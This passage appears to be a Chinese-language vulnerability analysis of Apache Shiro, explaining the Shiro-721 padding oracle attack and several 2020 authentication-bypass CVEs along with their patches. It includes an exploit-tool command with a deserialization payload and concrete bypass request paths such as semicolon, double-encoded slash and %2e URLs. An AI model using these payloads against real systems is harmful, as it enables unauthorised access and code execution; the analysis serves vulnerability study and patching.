漏洞描述：`RememberMe`默认通过 `AES-128-CBC` 模式加密，易受`Padding Oracle Attack`攻击
漏洞补丁：[Commit](https://github.com/apache/shiro/commit/a8018783373ff5e5210225069c9919e071597d5e)
参考：[padding oracles](https://blog.skullsecurity.org/2016/12) [Padding oracle
attack](https://skysec.top/2017/12/13/padding-oracle%E5%92%8Ccbc%E7%BF%BB%E8%BD%AC%E6%94%BB%E5%87%BB/) [PaddingOracleAttack-Shiro-721代码分析](https://www.anquanke.com/post/id/203869)
### 漏洞分析
本次漏洞实际并不是针对 `shiro` 代码逻辑的漏洞，而是针对 `shiro` 使用的 `AES-128-CBC`
加密模式的攻击，首先了解一下这种加密方式。
#### AES-128-CBC
`AES-128-CBC` 模式就代表使用 `AES` 密钥长度为 `128 bit`，使用 `CBC` 分组算法的加密模式。
* `AES`是对称、分组加密算法，分组长度固定为 `128bit`，密钥 `key` 的长度可以为 `128 bit`（`16`字节）、`192 bit`（`24`字节）、`256 bit`（`32`字节），如果数据块及密钥长度不足时，会补齐。
* `CBC`，全称 `Cipher Block Chaining` (密文分组链接模式)，简单来说，是一种使用前一个密文组与当前明文组 `XOR` 后再进行加密的模式。`CBC`主要是引入一个初始化向量`（Initialization Vector，IV）`来加强密文的随机性，保证相同明文通过相同的密钥加密的结果不一样。
`CBC` 模式下，存在以下填充方式，用于在分组数据不足时，在结尾进行填充，用于补齐：
* `NoPadding`：不填充，明文长度必须是 `16 Bytes` 的倍数。
* `PKCS5Padding`：`PKCS7Padding`跟`PKCS5Padding`的区别就在于数据填充方式，`PKCS7Padding`是缺几个字节就补几个字节的`0`，而`PKCS5Padding`是缺几个字节就补充几个字节的几，比如缺`6`个字节，就补充`6`个字节的`6`，如果不缺字节，就需要再加一个字节块。
* `ISO10126Padding`：以随机字节填充 , 最后一个字节为填充字节的个数。
`Shiro` 中使用的是 `PKCS5Padding`，也就是说，可能出现的 `padding byte` 值只可能为：
1 个字节的 padding 为 0x01
2 个字节的 padding 为 0x02,0x02
3 个字节的 padding 为 0x03,0x03,0x03
4 个字节的 padding 为 0x04,0x04,0x04,0x04
...
当待加密的数据长度刚好满足分组长度的倍数时，仍然需要填充一个分组长度，也就是说，明文长度如果是 `16n`，加密后的数据长度为 `16(n+1)` 。
加密过程：
* 明文经过填充后，分为不同的组`block`，以组的方式对数据进行处理
* 初始化向量（`IV`）首先和第一组明文进行`XOR`（异或）操作，得到”中间值“
* 采用密钥对中间值进行块加密，删除第一组加密的密文 （加密过程涉及复杂的变换、移位等）
* 第一组加密的密文作为第二组的初始向量（`IV`），参与第二组明文的异或操作
* 依次执行块加密，最后将每一块的密文拼接成密文
* `IV`经常会被放在密文的前面，解密时先获取前面的`IV`，再对后面的密文进行解密
解密过程
* 会将密文进行分组（按照加密采用的分组大小），前面的第一组是初始化向量，从第二组开始才是真正的密文
* 使用加密密钥对密文的第一组进行解密，得到中间值
* 将中间值和初始化向量进行异或，得到该组的明文
* 前一块密文是后一块密文的`IV`，通过异或中间值，得到明文
* 块全部解密完成后，拼接得到明文，密码算法校验明文的格式（填充格式是否正确）
* 校验通过得到明文，校验失败得到密文
#### Padding Oracle Attack 原理
这个攻击的根源是明文分组和填充，同时应用程序对于填充异常的响应可以作为反馈。首先明确以下两点
1. 解密之后的最后一个数据块，其结尾应该包含正确的填充序列。如果这点没有满足，那么加/解密程序就会抛出一个填充异常。`Padding Oracle Attack`的关键就是利用程序是否抛出异常来判断`padding`是否正确。
2. 解密时将密文分组，第一组是初始化向量，后面才是真正的密文。密文传过去后先解密得到中间值，中间值与初始向量异或得到明文片段。
比如我们的明文为`admin`，则需要被填充为
`admin\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b`，一共`11`个`\x0b`
如果我们输入一个错误的`IV`，依旧是可以解密的，但是中间值`middle`和我们输入的`IV`经过异或后得到的填充值可能出现错误这样就出现验证错误的情况。
比如本来应该是`admin\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b`
而我们错误的得到`admin\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x2b`
这样解密程序往往会抛出异常(`Padding Error`)，应用在`web`里的时候，往往是`302`或是`500`报错，而正常解密的时候是`200`
所以这时，我们可以根据服务器的反应来判断我们输入的`IV`是否正确
##### 举例解释
这里使用[参考链接](https://skysec.top/2017/12/13/padding-oracle%E5%92%8Ccbc%E7%BF%BB%E8%BD%AC%E6%94%BB%E5%87%BB/)中的数据进行举例说明
我们假设正确的`IV`为
0x6d 0x36 0x70 0x76 0x03 0x6e 0x22 0x39
`middle`中间值为(为了方便，这里按`8`位分组来阐述)
0x39 0x73 0x23 0x22 0x07 0x6a 0x26 0x3d
解密后正确的明文为：
TEST0x040x040x040x04
以攻击者的角度来看，我们可以知道`IV`的值和服务器的状态，不知道中间值和解密后明文的值，所以我们可以根据输入的`IV`值和服务器的状态去判断出解密后明文的值，这里的攻击即叫做`Padding
Oracle Attack`攻击
首先输入`IV`
0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
一起传到服务器后，服务器对`IV`后面的加密数据进行解密，得到中间值，然后`IV`与中间值进行异或，得到明文：
0x39 0x73 0x23 0x22 0x07 0x6a 0x26 0x3d
此时程序会校验最后一位`padding`字节是否正确。由于是按8位进行分组，所以正确的`padding`的值应该只有`0x01~0x08`，这里是`0x3d`，显然是错误的，所以程序会抛出`500`
知道这一点后，我们可以通过遍历最后一位`IV`，从而使这个`IV`和`middle`值异或后的最后一位是我们需要`0x01`，这时候有`256`种可能。
这时问题来了，我们为什么要使最后一位是`0x01`呢？因为此时我们像知道`plain[8]`的值，只计算最后一位就可以了，只计算最后一位的话只有`0x01`时服务器才会通过验证，我们才能计算下面的公式。
此时`IV`的值为：
0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x3c
`IV`和`Middle`异或后得到的是：
0x39 0x73 0x23 0x22 0x07 0x6a 0x26 0x01
这时候程序校验最后一位，发现是`0x01`，即可通过校验，服务器返回`200`
然后我们有公式：
Middle[8]^原IV[8] = plain[8]
Middle[8]^现IV[8] = 0x01
所以，我们可以算出
middle[8] = 0x01^现IV[8]
然后可以计算得到：
plain[8] = 0x01^现IV[8]^原IV[8] = 0x01^0x3c^0x39=0x04
和我们之前解密成功的明文一致（最后4位为填充），下面我们需要获取`plain[7]`。
因为这次我们需要的明文是`2`个`0x02`，而非之前的一个`0x01`，所以需要将`IV`更新
现IV[8] = middle[8]^0x02
为什么是`现在的IV[8] = middle[8]^0x02`？
因为`现在的IV[8]^middle[8]=服务器校验的值`，而我们遍历倒数第二位，应该是`2`个`0x02`，所以服务器希望得到的是`0x02`，所以
现IV[8]^middle[8]=0x02
然后再继续遍历现在的`IV[7]`
方法还是和上面一样，遍历后可以得到
`IV`:
0x00 0x00 0x00 0x00 0x00 0x00 0x24 0x3f
`IV`和`middle`异或得到的是
0x39 0x73 0x23 0x22 0x07 0x6a 0x02 0x02
此时真正的明文值：
plain[7]=现IV[7]^原IV[7]^0x02
所以`plain[7] = 0x02^0x24^0x22=0x04`
和我们之前解密成功的明文一致（最后4位为填充）
最后遍历循环，即可得到完整的`plain`
#### CBC翻转攻击过程
这个实际上和`padding oracle`攻击差不多，还是关注这个解密过程。但这时，我们是已知明文，想利用`IV`去改变解密后的明文
比如我们知道明文解密后是`1dmin`，我们想构造一个`IV`，让他解密后变成`admin`。
还是原来的思路
原IV[1]^middle[1]=plain[1]
而此时，我们想要有如下等式
构造的IV[1]^mddle[1]=’a’
所以我们可以得到
middle[1]=原IV[1]^plain[1]
构造的IV[1] = middle[1]^’a’
构造的IV[1]= 原IV[1]^plain[1]^’a’
我们可以用这个式子，遍历明文，构造出`IV`，让程序解密出我们想要的明文
#### Shiro中的攻击
在了解上面的基础知识后，就很好理解后面的攻击流程了，攻击者通过已知 `RememberMe` 密文使用 `Padding Oracle Attack`
爆破和篡改密文，构造可解密的恶意的反序列化数据，触发反序列化漏洞。
之前提到过 `Padding Oracle Attack` 是利用类似于盲注的思想来判断是否爆破成功的，在验证 `Padding`
失败时的返回信息应该不同，那我们看一下在`Shiro`中，验证`Padding`失败时的返回值？
关注点依旧从 `AbstractRememberMeManager#getRememberedPrincipals` 中开始
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re, subjectContext);
}
return principals;
}
负责解密的 `convertBytesToPrincipals` 方法会调用 `CipherService` 的 `decrypt`
方法，调用栈如下所示如下:
其中 `PKCS5Padding#unpad` 方法对数据的填充格式进行判断，有问题会返回 `-1`；
当返回值小于`0`时，`CipherCore#doFinal` 方法会抛出 `BadPaddingException` 异常；
接着 `JcaCipherService#crypt` 方法、
`AbstractRememberMeManager#getRememberedPrincipals`
方法均返回异常，而且`AbstractRememberMeManager#getRememberedPrincipals`方法还好调用`onRememberedPrincipalFailure`
移除 `rememberMe cookie`并添加 `deleteMe`。
由此可见，只要 `padding` 错误，服务端就会返回一个 `cookie: rememberMe=deleteMe;`，攻击者可以借由此特征进行
`Padding Oracle Attack`。
### 漏洞复现
直接使用 [longofo 师傅的项目](https://github.com/longofo/PaddingOracleAttack-Shiro-721)。
首先获取一个有效的 `rememberMe` 值，其次生成一个反序列化利用的 `payload`，然后使用如下参数执行攻击。
java -jar PaddingOracleAttack-1.0-SNAPSHOT.jar http://localhost:8080/samples_web_war/ "P5MwbBios...sdSdf" 16 cb.ser
经过一段时间后，生成`payload`，替换`rememberMe`的值，发送到服务器
这个洞需要大量的请求，在实际中应该不太可能攻击成功。
问题：
由于系统初始化后，只要不重启服务器，密钥就固定了，那应该就可以攻击成功一次之后，后面继续攻击应该就不需要大量请求了，可以直接生成`payload`，但是目前不知道需要保存哪些值才能实现这种需求
不完全解答：
改了一下代码，目前只实现攻击一次后，`ser`不变的情况下，可以快速生成，但是`ser`改变，就需要重新生成。
原因在于原代码是基于`nextCipherTextBlock`也就是`nextBLock`计算的`tmpIV`，继而计算的`nextBLock`。所以无法通过保存`nextBLock`或`tmpIV`达到通用的目标。但我认为从攻击算法的角度来看，还是有办法实现的。
也有师傅对利用代码进行分析后，实现了`payload`瘦身的[功能](https://www.cnblogs.com/wh4am1/p/12761959.html)
### 漏洞修复
在 `1.4.2` 版本的更新
[Commit](https://github.com/apache/shiro/commit/a8018783373ff5e5210225069c9919e071597d5e)
中对此漏洞进行了修复 ，在父类 `JcaCipherService` 中写了一个抽象方法 `createParameterSpec()`
，该方法返回加密算法对应的类，并在 `AesCipherService` 中重写了这个方法，默认使用 `GCM` 加密模式，避免此类攻击。
## CVE-2020-1957
### 漏洞信息
漏洞编号：[CVE-2020-1957](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1957) /
[CNVD-2020-20984](https://www.cnvd.org.cn/flaw/show/CNVD-2020-20984)
/[SHIRO-682](https://issues.apache.org/jira/browse/SHIRO-682)
影响版本：`shiro < 1.5.2`
漏洞描述：利用 `Shiro` 和 `Spring` 对 `URL` 的处理的差异化，越权并成功访问。
漏洞补丁：[Commit](https://github.com/apache/shiro/commit/589f10d40414a815dbcaf1f1500a51f41258ef70)
[Commit](https://github.com/apache/shiro/commit/9762f97926ba99ac0d958e088cae3be8b657948d)
[Commit](https://github.com/apache/shiro/commit/3708d7907016bf2fa12691dff6ff0def1249b8ce)
参考：[Shiro权限绕过漏洞详细分析](https://www.anquanke.com/post/id/226899) [Ruil1n
师傅](http://rui0.cn/archives/1643)
### 漏洞分析
### SHIRO-682
本漏洞起源于 [SHIRO-682](https://issues.apache.org/jira/browse/SHIRO-682)。在 `Spring`
中，`/resource/xx` 与 `/resource/xx/` 都会被截成`/resource/xx`以访问相应资源；在 `shiro`
中，`/resource/xx` 与 `/resource/xx/`被视为两个不同路径。所以在 `Spring` 集成 `shiro`
时，只需要在访问路径后添加 `/` 就存在绕过权限校验的可能。
下面通过复现进行分析(分析、测试版本`1.4.2`)：
首先`shiro.ini`中[urls]配置如下:
[urls]
# anon：匿名拦截器，不需登录就能访问，一般用于静态资源，或者移动端接口。
# authc：登录拦截器，需要登录认证才能访问的资源。
/login.jsp = authc
/logout = logout
/toJsonPOJO = authc, perms["audit:list"]
/** = anon
输入`/toJsonPOJO`时，`shiro`对其进行判断，从`shior.ini`或其他配置中进行匹配。当匹配到`/toJsonPOJO`时，匹配成功，跳出循环。
此时，跳转至登陆界面。
输入`/toJsonPOJO/`时，`shiro`对其进行判断，当匹配到`/toJsonPOJO`时，匹配失败，继续匹配；当匹配到`/**`时，匹配成功，跳出循环。
接着到了`springframework`中的判断，这里`/toJsonPOJO/`和`/toJsonPOJO`是可以匹配成功的
此时，成功绕过
### 其他绕过方式
除了上面的绕过方式，本 `CVE` 还存在另一个绕过。利用的是 `shiro` 和 `spring` 对 `url` 中的 `;`
处理的差异进行绕过并成功访问。
分析、测试版本`1.4.2`
#### 绕过分析
首先进入`Shiro`中
首先在`org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver.class#getChain`处下断点，进行调试，访问`http://localhost:8080/xx/..;/toJsonPOJO`
单步调试进入`this.getPathWithinApplication(request)`，在`WebUtils#getPathWithinApplication()`中，通过`getContextPath(request)`，获取到上下文信息后，再用`getRequestUri(request)`获取具体的`uri`。进入`getRequestUri()`方法，在`return`前，获取到的`uri`为`/xx/..;/toJsonPOJO`
接下来分析一下`return normalize(decodeAndCleanUriString(request, uri));`
首先进入`decodeAndCleanUriString`
传入的参数`uri`是`/xx/..;/toJsonPOJO`,然后通过语句`int semicolonIndex =
uri.indexOf(59);`找出`uri`中分号的位置，`59`也就是`;`的`ASCII码`
如果`uri`中有分号，就返回分号前的字段，否则返回整个`uri`。
接着进入`normalize`，参数`uri`已经变成`/xx/..`，`normalize`内部对传入的路径进行标准化规范处理，相关操作包括替换反斜线、替换`//`为`/`等，最后得到返回的`uri`
此时`return normalize(decodeAndCleanUriString(request,
uri));`结果为`/xx/..`，也就是说`getRequestUri(request)`获取的`uri`为`/xx/..`
一路回到`getChain`，经过上面的步骤，得到`requestURI`值为`/xx/..`，接下来在`while`循环里使用`pathMatches(pathPattern,
requestURI)`进行权限校验，此时只有`/**`能够与`/xx/..`匹配成功，`/**`是`anon`权限，不需要登陆就能访问，绕过了`/toJsonPOJO`的`authc`权限
此时`Shiro`部分的权限绕过了，那么`Spring`部分的路径是怎么匹配的呢？
`url`经过`shiro`的处理认证通过后，就会进入`spring`中进行解析，我们在`UrlPathHelper#getLookupPathForRequest`下断点
先进入`getPathWithinApplication()`，通过`this.getRequestUri(request)`获取`uri`
获取到的`uri`值为`/xx/..;/toJsonPOJO`，在`return`之前进入`decodeAndCleanUriString(request,
uri)`
传进来的参数`uri`为`/xx/..;/toJsonPOJO`，经过`removeSemicolonContent(uri)`后移除`uri`中`/`与`/`之间的的分号以及分号后面的内容；经过`decodeRequestString(request,
uri)`后对`uri`进行解码；经过`getSanitizedPath(uri)`后将路径中`//`替换为`/`。此时返回的`uri`值为`/xx/../toJsonPOJO`
步入`getPathWithinServletMapping()`后，传入的参数`pathWithinApp`值为`/xx/../toJsonPOJO`。依次通过`UrlPathHelper#getServletPath`、`HttpServletRequestWrapper#getServletPath`、`Request#getServletPath`获取到我们实际访问的`url：http://localhost:8080/toJsonPOJO`后返回，最终实现绕过权限访问
经过测试当`uri`为`123;/..;345/;../.;/alter/..;/;/;///////;/;/;awdwadwa/toJsonPOJO`时，`Shiro`对`/123`进行权限验证;
`Spring`的`org.springframework.web.util.UrlPathHelper`中，`getPathWithinApplication(request)`值为`/123/.././alter/../toJsonPOJO`;
`this.getPathWithinServletMapping(request,
pathWithinApp)`值为`/toJsonPOJO`，可以进行绕过
上面这个 `payload` 只能在较低版本的 `Spring Boot` 上使用。
根据[Ruil1n 师傅](http://rui0.cn/archives/1643)介绍:
当 `Spring Boot` 版本在小于等于 `2.3.0.RELEASE` 的情况下，`alwaysUseFullPath` 为默认值
`false`，这会使得其获取 `ServletPath` ，所以在路由匹配时相当于会进行路径标准化包括对 `%2e`
解码以及处理跨目录，这可能导致身份验证绕过。而反过来由于高版本将 `alwaysUseFullPath` 自动配置成了 `true`
从而开启全路径，又可能导致一些安全问题。
所以在高版本上只能试着寻找逻辑上有没有漏洞，然后进行绕过。比如程序配置了访问路径 `/alter/**` 为 `anon`，但是指定了其中的一个
`/alter/page`为 `authc`。这时在不跳目录的情况下，可以使用如下请求绕过：
`http://127.0.0.1:8080/alter//;aaaa/;...///////;/;/;awdwadwa/page`
### 漏洞修复
先是在
[Commit](https://github.com/apache/shiro/commit/589f10d40414a815dbcaf1f1500a51f41258ef70)
的`PathMatchingFilter#pathsMatch`
和`PathMatchingFilterChainResolver#getChain`方法中添加了对访问路径后缀为 `/` 的支持
然后在
[Commit](https://github.com/apache/shiro/commit/9762f97926ba99ac0d958e088cae3be8b657948d)，除了
`endsWith` 还添加了 `equals` 的判断。是修复由于上一次提交，导致访问路径为 `/` 时抛出的异常。
在
[Commit](https://github.com/apache/shiro/commit/3708d7907016bf2fa12691dff6ff0def1249b8ce)中，
`shiro` 使用
`request.getContextPath()`、`request.getServletPath()`、`request.getPathInfo()`
拼接构造`uri`替代`request.getRequestURI()` 来修复`;` 绕过
## CVE-2020-11989
### 漏洞信息
漏洞编号：[CVE-2020-11989](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1957) /
[SHIRO-782](https://www.cnvd.org.cn/flaw/show/CNVD-2020-20984)
影响版本：`shiro < 1.5.3`
漏洞描述：在`Shiro < 1.5.3`的情况下，将`Shiro`与`Spring Controller`一起使用时，相应请求可能会导致身份验证绕过。
漏洞补丁：[Commit](https://github.com/apache/shiro/commit/589f10d40414a815dbcaf1f1500a51f41258ef70)
参考： [腾讯安全玄武实验室 Ruilin师傅](https://xlab.tencent.com/cn/2020/06/30/xlab-20-002/)
[边界无限 淚笑师傅](https://mp.weixin.qq.com/s/yb6Tb7zSTKKmBlcNVz0MBA)
这个漏洞有两种绕过方式，分别由腾讯安全玄武实验室的`Ruilin`师傅和来自边界无限的淚笑师傅报告
### 漏洞分析 —— 两次解码绕过
#### 限制
这个场景下需要一些限制条件，首先配置文件的`ant`风格需要是`*`而不是`**`，测试发现，`?`也可以
另外`controller`需要接收的`request`参数(`@PathVariable`)的类型需要是`String`，否则将会出错。
#### 复现
首先复现一下，测试版本 `1.5.2`。
编写`Controller`
@RequestMapping("/toJsonList/{name}")
@ResponseBody
public List<User> toJsonList(@PathVariable String name){
System.out.println("返回json集合数据");
User user1 = new User();
user1.setName("alter1");
user1.setAge(15);
User user2 = new User();
user2.setName("alter2");
user2.setAge(12);
List<User> userList = new ArrayList<User>();
userList.add(user1);
userList.add(user2);
return userList;
}
配置对应的`shiro.ini`
[urls]
/toJsonList/* = authc
此时请求`/toJsonList/aaa`那么将会被禁止。
但是这里我们可以通过url双编码的方式来绕过。
/ -> %2f ->%25%32%66
测试发现下面四种组合只有前两组可以绕过
yes
/toJsonList/a%25%32%66a
/toJsonList/%25%32%66
no
/toJsonList/%25%32%66a
/toJsonList/a%25%32%66
#### 分析
首先要清楚`Shiro`支持 `Ant` 风格的路径表达式配置。`ANT` 通配符有 `3` 种，如下所示：
| 通配符 | 说明 |
| ---- | ---- |
| ? | 匹配任何单字符 |
| * | 匹配0或者任意数量的字符 |
| ** | 匹配0或者更多的目录 |
解释一下就是`/**` 之类的配置，匹配路径下的全部访问请求，包括子目录及后面的请求，如：`/admin/**` 可以匹配 `/admin/a` 或者
`/admin/b/c/d` 等请求。
对于`/*`的话 ，单个 `*` 不能跨目录，只能在两个 `/` 之间匹配任意数量的字符，如 `/admin/*` 可以匹配 `/admin/a`
但是不能匹配 `/admin/b/c/d`。
那么问题来了，如果我们将其配置为`/toJsonList/*`，但是我们访问形如`/toJsonList/a/b`这种路径，此时就会绕过访问权限。
我们还记得为了修复`CVE-2020-1957`,shiro在`1.5.2`版本进行了更新，将`request.getRequestURI()` 修改为
`request.getContextPath()`、`request.getServletPath()`、`request.getPathInfo()`
拼接构造`uri`。根据网上师傅们的总结，这几个方法的差异性如下：
* `request.getRequestURL()`：返回全路径；
* `request.getRequestURI()`：返回除去`Host`部分的路径；
* `request.getContextPath()`：返回工程名部分，如果工程映射为`/`，则返回为空；
* `request.getServletPath()`：返回除去`Host`和工程名部分的路径；
* `request.getPathInfo()`：仅返回传递到`Servlet`的路径，如果没有传递额外的路径信息，则此返回`Null`；
第一次解码发生在`request.getServletPath()`
第二次解码发生在`decodeAndCleanUriString()` -> `decodeAndCleanUriString()` ->
`decodeRequestString()` -> `URLDecoder.decode()`
因此`org.apache.shiro.web.util.WebUtils#getRequestUri`进行了两次解码，将`/toJsonList/a%25%32%66a`解码成`/toJsonList/a/a`
接着就走到`org.apache.shiro.util.AntPathMatcher#doMatch`进行权限验证，`/toJsonList/a/a`不满足配置中的`toJsonList/*`，因此成功绕过。
但还要看`Spring`是怎么对其进行解析的
在`org.springframework.web.uti.UrlPathHelper#getPathWithinApplication`中，将`url`解析为`/toJsonList/a%2fa`，这样其实就表示`/toJsonList/{name}`中的`name`值为`a%2fa`。
分析完之后， 也就解释了为什么下面四种组合只有前两组可以绕过
（这种二次解码的方式我测试只适用于`1.5.2`的版本，之前的版本使用`a%25%32%66a`测试，因为只有一次解码，会跳转至登陆界面；`a%2fa`测试直接返回`400
Bad Request`,应该是请求的问题，希望能有师傅帮忙解答一下）
### 漏洞分析 —— 根路径差异化解析绕过
#### 限制
1. 若 `Shiro >= 1.5.2` 的话，应用不能部署在根目录，如果为根目录则 `context-path` 为空， `CVE-2020-1957` 更新补丁将 `URL` 格式化。
2. `Spring` 控制器中没有另外的权限校验代码
#### 复现
本次复现使用的是`1.4.2`版本的`shiro`所以应用根目录是什么都没有关系
配置为
/alter/* = authc
/** = anon
新增一个`controller`
@RequestMapping("/alter/test")
@ResponseBody
public List<User> test(){
User user1 = new User();
user1.setName("alter");
user1.setAge(15);
List<User> userList = new ArrayList<User>();
userList.add(user1);
return userList;
}
输入地址`http://localhost:8080/;/shirodemo/alter/test`，`org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain`会进行如下操作获取`uri`
此时`uri`结果为`/`，绕过配置`/alter/* = authc`，符合配置`/** = anon`，达到绕过目的。
`Spring`在处理`uri`时直接进行路径标准化，去掉了分号
`Shiro < 1.5.2`版本的话，根路径是什么没有关系
### 漏洞修复
`Shiro` 在
[Commit](https://github.com/apache/shiro/commit/01887f645f92d276bbaf7dc644ad28ed4e82ef02)
中修改了 `URL` 获取的逻辑，不单独处理 `context-path`，这样不会导致绕过，同时也避免了二次 URL 解码的问题。
回退了 `WebUtils#getRequestUri` 的代码，并将其标记为 `@Deprecated`
可以看到，`shiro`建议使用 `getPathWithinApplication()` 方法获取路径减去上下文路径，或直接调用
`HttpServletRequest.getRequestURI()` 方法获取。
在 `WebUtils#getPathWithinApplication` 方法，修改了使用 `RequestUri` 去除 `ContextPath`
的方式，改为使用 `getServletPath(request) + getPathInfo(request))`。然后使用
`removeSemicolon` 方法处理分号问题，`normalize` 方法进行路径标准化。
## CVE-2020-13933
### 漏洞信息
漏洞编号：[CVE-2020-13933](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13933) /
[CNVD-2020-46579](https://www.cnvd.org.cn/flaw/show/CNVD-2020-46579)
影响版本：`shiro < 1.6.0`
漏洞描述：`Shiro` 由于处理身份验证请求时存在权限绕过漏洞，特制的`HTTP`请求可以绕过身份验证过程并获得对应用程序的未授权访问。
漏洞补丁：[Commit](https://github.com/apache/shiro/commit/dc194fc977ab6cfbf3c1ecb085e2bac5db14af6d)
### 漏洞分析
这个CVE其实就是对`CVE-2020-11989 patch`的绕过。上一个CVE使用 `getServletPath(request) +
getPathInfo(request))` 获取`uri`，回顾一下：
* `request.getServletPath()`：返回除去`Host`和工程名部分的路径；
* `request.getPathInfo()`：仅返回传递到`Servlet`的路径，如果没有传递额外的路径信息，则此返回`Null`；
`Shiro`在`getChain`内进行权限验证，首先通过`getPathWithinApplication(request)`获得`uri`。从下图可以看到，更新后使用`HttpServletRequest.getRequestURI()`
方法获取`uri`；然后使用`removeSemicolon`去除`uri`中的分号，这里去除的是分号及分号后面的内容；然后使用`normalize`进行路径标准化。
此时得到的路径为`/hello`，绕过了配置中的权限。
接着看`Spring`是怎么处理路径的：
在`org.springframework.web.util#UrlPathHelper`中的`getPathWithinApplication`方法内，使用`getRequestUri(request)`方法获取`uri`
与`Shiro`处理的差异达到既绕过`Shiro`权限验证又成功访问的目的。
### 漏洞修复
`shiro`在`1.6.0`版本中，`org.apache.shiro.spring.web#ShiroFilterFactoryBean`中增加了`/**`的默认路径配置，使其可以全局匹配进行过滤校验
默认的`/**`配置对应一个全局的 `filter`：`InvalidRequestFilter`，这个类继承了
`AccessControlFilter`。用来过滤特殊字符（分号、反斜线、非ASCII码字符)，并返回 `400` 状态码。
## CVE-2020-17510
### 漏洞信息
漏洞编号：[CVE-2020-17510](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-17510) /
[CNVD-2020-60318](https://www.cnvd.org.cn/flaw/show/CNVD-2020-60318)
影响版本：`shiro < 1.7.0`
漏洞描述：第三种`AntPathMatcher`的绕过方式
漏洞补丁：[Commit](https://github.com/apache/shiro/commit/6acaaee9bb3a27927b599c37fabaeb7dd6109403)
### 漏洞分析
这个漏洞还是对 `AntPathMatcher` 的继续绕过,在`CVE-2020-11989`和`CVE-2020-13933`分别尝试了 `/` 的双重
`URL` 编码和 `;` 的 `URL` 编码绕过，归根到底这种方式还是因为`Shiro`与`Spring`对`URI`处理的差异化导致的。那么字符
`.` 是不是也可以进行绕过呢？其实是可以的（测试环境`Shiro 1.6.0`，`SpringBoot 2.5.3`）
还是添加如下配置和`Controller`
map.put("/hello/*", "authc");
@GetMapping("/hello/{name}")
public String hello(@PathVariable String name) {
return "hello";
}
当`Shiro`获得的`uri`为`/hello`时，是无法和`/hello/*`匹配的，所以就在`/hello`后面加上`%2e`，这样`Shiro`解码之后变成`/hello/.`，然后路径标准化成为`/hello`，绕过身份验证
对于`Spring`来说，正如之前讲的，`Spring Boot` 版本在小于等于
`2.3.0.RELEASE`时，会对`uri`进行解码然后路径标准化，这样得到的路径为`/hello`，没有页面与之匹配。所以只有当 `Spring
Boot` 版本在大于 `2.3.0.RELEASE`时标准化路径后`/hello/%2e`，然后解码`/hello/.`
下面的`payload`都可以使用：
/%2e
/%2e/
/%2e%2e
/%2e%2e/
### 漏洞修复
在[Commit](https://github.com/apache/shiro/commit/6acaaee9bb3a27927b599c37fabaeb7dd6109403)中发现`org.apache.shiro.spring.web`下新增了`ShiroUrlPathHelper`类，属于`UrlPathHelper`的子类，重写了`getPathWithinApplication`和`getPathWithinServletMapping`两个方法
通过相关配置后，`Spring`就会使用`Shiro的UrlPathHelper`，这样两者判断逻辑一致，就不存在因差异性问题而导致的绕过了。
其实我认为`1.7.1`才算真正的更新，因为它是依次对原`uri`和去除`uri`尾部斜线的`uri`进行验证，这样就可以避免因直接去除尾部`uri`导致`/hello`和`/hello/*`不匹配而导致的绕过问题。
### 补丁问题
#### 问题一
根据官方发布的公告，发现其实需要配置`shiro-spring-boot-web-starter`才有效
if you are NOT using Shiro’s Spring Boot Starter
(`shiro-spring-boot-web-starter`), you must configure add the
ShiroRequestMappingConfig auto configuration[1] to your application or
configure the equivalent manually[2].
[1] https://shiro.apache.org/spring-framework.html#SpringFramework-WebConfig
[2]https://github.com/apache/shiro/blob/shiro-root-1.7.0/support/spring/src/main/java/org/apache/shiro/spring/web/config/ShiroRequestMappingConfig.java#L28-L30
由于我导入的`dependency`如下
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
<version>1.6.0</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>1.6.0</version>
</dependency>
如果直接将版本升为`1.7.0`的话，其实并没有触发更新，原`payload`还是可以绕过。
只有按照上面官网所述的两种配置方式修改后，才能防御成功
#### 问题二
在旧版的SpringBoot 中，当我们需要获取当前请求地址的时候，直接通过如下方式获取：
//org.springframework.web.servlet.handler#getHandlerInternal
String lookupPath = this.getUrlPathHelper().getLookupPathForRequest(request);
但是在新版Spring里边，通过如下方式获取
String lookupPath = this.initLookupPath(request);
initLookupPath()代码如下：
protected String initLookupPath(HttpServletRequest request) {
if (this.usesPathPatterns()) {
request.removeAttribute(UrlPathHelper.PATH_ATTRIBUTE);
RequestPath requestPath = ServletRequestPathUtils.getParsedRequestPath(request);
String lookupPath = requestPath.pathWithinApplication().value();
return UrlPathHelper.defaultInstance.removeSemicolonContent(lookupPath);
} else {
return this.getUrlPathHelper().resolveAndCacheLookupPath(request);
}
}
如果`this.usesPathPatterns() == true`的话，就可以绕开问题一中我们配置的`ShiroUrlPathHelper`
此时也成功绕过。
所以这就存在一个矛盾：只有`Spring Boot` 版本在大于
`2.3.0.RELEASE`才能触发这个漏洞，修复之后由于版本问题，`SpringBoot`又不走那条语句。
另外在配置的时候，当`Spring Boot` 版本在小于等于
`2.3.0.RELEASE`，如`2.1.5.RELEASE`，时，`this.getUrlPathHelper()`并不是`ShiroUrlPathHelper`，不清楚是不是配置问题还是版本兼容问题。
## CVE-2020-17523
### 漏洞信息
漏洞编号：[CVE-2020-17523](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-17523) /
[CNVD-2021-09492](https://www.cnvd.org.cn/flaw/show/CNVD-2021-09492)
